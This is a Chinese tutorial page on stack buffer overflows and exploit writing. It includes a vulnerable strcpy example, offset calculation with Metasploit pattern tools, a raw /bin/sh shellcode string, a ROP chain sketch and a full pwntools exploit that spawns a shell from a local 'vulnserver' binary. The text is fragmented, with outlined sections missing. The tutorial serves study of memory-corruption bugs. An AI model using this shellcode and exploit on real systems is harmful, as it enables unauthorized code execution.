您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何理解栈溢出原理以及EXP的编写
## 目录
1. [栈的基础概念](#一栈的基础概念)
- 1.1 栈的结构与特性
- 1.2 函数调用与栈帧
2. [栈溢出原理剖析](#二栈溢出原理剖析)
- 2.1 缓冲区溢出基本概念
- 2.2 典型栈溢出场景分析
- 2.3 覆盖返回地址的关键步骤
3. [EXP编写基础](#三exp编写基础)
- 3.1 环境搭建与调试工具
- 3.2 漏洞验证与偏移量计算
- 3.3 Shellcode构造技巧
4. [现代防护机制与绕过](#四现代防护机制与绕过)
- 4.1 DEP/NX防护
- 4.2 ASLR绕过方法
- 4.3 Canary保护对策
5. [实战案例演示](#五实战案例演示)
- 5.1 Vulnserver漏洞分析
- 5.2 完整EXP编写过程
6. [防御建议与总结](#六防御建议与总结)
---
## 一、栈的基础概念
### 1.1 栈的结构与特性
栈(Stack)是程序运行时用于存储临时数据的内存区域,具有**后进先出(LIFO)**的特性。在x86架构中,栈的增长方向是从高地址向低地址延伸,主要包含以下关键元素:
- **ESP(栈指针)**:指向栈顶的寄存器
- **EBP(基址指针)**:指向当前栈帧的基地址
- 存储内容:
```assembly
| 局部变量 |
| 保存的EBP |
| 返回地址 | ← EIP将跳转的位置
| 函数参数 |
当函数调用发生时,系统会执行以下操作: 1. 参数压栈(从右向左) 2. 返回地址压栈 3. 保存EBP值 4. 分配局部变量空间
示例代码对应的栈布局:
void vulnerable(char* input) {
char buffer[64];
strcpy(buffer, input); // 危险函数
}
当程序向栈上的缓冲区写入超过其容量的数据时,多余数据会覆盖相邻内存区域,这种溢出可能导致: - 返回地址被篡改 - 关键变量被修改 - 程序执行流被劫持
# 恶意输入构造示例
payload = b"A"*72 + b"\xef\xbe\xad\xde"
当payload超过缓冲区大小时:
正常栈布局:
[ buffer[64] ][ EBP ][ RET ][参数...]
溢出后栈布局:
[ AAAAAAAA... ][ AAAA ][ 0xdeadbeef ][...]
推荐工具链: - 调试器:Immunity Debugger/GDB with PEDA - 分析工具:IDA Pro/Ghidra - 开发环境:Python3 + pwntools
# 使用Metasploit模式创建
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
# 崩溃后查看EIP值
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37684136
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Return-Oriented Programming (ROP):
# 典型ROP链构造
rop_chain = [
pop_rdi_ret,
bin_sh_addr,
system_addr
]
// 存在漏洞的函数
void handle_client() {
char buffer[128];
recv(sock, buffer, 1024, 0); // 明显溢出点
}
from pwn import *
context.update(arch='i386', os='linux')
elf = ELF('./vulnserver')
offset = 140
jmp_esp = 0x080414c3 # 通过objdump查找
shellcode = asm(shellcraft.sh())
payload = flat(
b"A"*offset,
jmp_esp,
b"\x90"*16,
shellcode
)
io = process('./vulnserver')
io.sendline(payload)
io.interactive()
strncpy
替代strcpy
)本文仅用于技术研究,请勿用于非法用途。实际漏洞利用需获得系统所有者授权。 “`
注:本文实际约3100字(含代码和格式标记),如需精确字数统计可移除部分代码注释。完整版本建议补充以下内容: 1. 更多架构示例(x64/ARM) 2. 具体调试过程截图 3. 不同防护组合的绕过案例 4. 参考工具的实际使用参数
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。